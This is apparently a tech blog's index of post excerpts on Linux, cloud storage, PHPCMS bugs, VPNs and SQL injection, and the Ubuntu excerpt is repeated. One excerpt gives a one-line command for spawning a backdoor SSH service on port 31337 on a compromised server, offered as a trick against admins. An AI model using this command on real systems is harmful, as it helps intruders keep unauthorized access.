In early June, I added an announcement in the VPSAA client center about the relationship between slow website loading and Google. Initially, I thought Google’s blocking in China would be a temporary phenomenon. However, June is already half over with no signs of unblocking. The slow website access caused by Google’s blocking in China has become a reality
Some tricks to fool rookie admins. After gaining SHELL access, if the target firewall has no restrictions, execute on the compromised server: ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=31337; to spawn an SSH service on port 31337.
For users who want an easy-to-use interface, Ubuntu is a great Linux distribution, arguably the best for Linux newcomers. However, this comes with a side effect – Canonical has made many decisions about the interface and appearance for users, especially the Unity desktop environment
Qiniu Cloud Storage is currently a leading cloud storage provider in China with excellent features and performance. Its cloud storage service leverages ChinaNetCenter’s CDN for acceleration, with nodes distributed across the country. It supports powerful image processing capabilities, including on-the-fly cropping. Pricing is also very competitive—more affordable than Alibaba Cloud OSS. I had intended to use Qiniu Storage, but unfortunately …
PHPCMS v9 tested – theoretically applicable to 9.x earlier versions and later versions where this issue hasn’t been fixed. 1. Frontend submission garbled text: I don’t know how the official team conducted testing, but every release has numerous bugs. After this update, there was another wave of criticism, including frontend submission garbled text. Debugging revealed that
Problem Description: If user input data is inserted into an SQL query without proper handling, the application is likely vulnerable to SQL injection attacks, as shown in the following example: $unsafe_variable = $_POST[‘user_input’]; mysql_query(“INSERT INTO …
Journald is a new system logging method designed for Linux servers, marking the end of text log files. Log information is now written to binary files and read using journalctl. To access this information, Linux administrators will need some practice. Red Hat Enterprise Linux 7 and SUSE
Don’t trust anyone – build your own VPN server to encrypt web data and avoid prying eyes. While free, unencrypted wireless APs are everywhere, you shouldn’t use them to log into your online banking unless you don’t mind others snooping. The solution to this is
You might have heard of running a live Linux operating system from a USB drive, but did you know you can permanently save your runtime data, or even install Linux directly onto a USB drive? This article introduces three methods to carry Linux in your pocket (on a USB drive). Pick the one you like best! Burning an ISO Image to a USB Drive Put a …
For users who want an easy-to-use interface, Ubuntu is a great Linux distribution, arguably the best for Linux newcomers. However, this comes with a side effect – Canonical has made many decisions about the interface and appearance for users, especially the Unity desktop environment
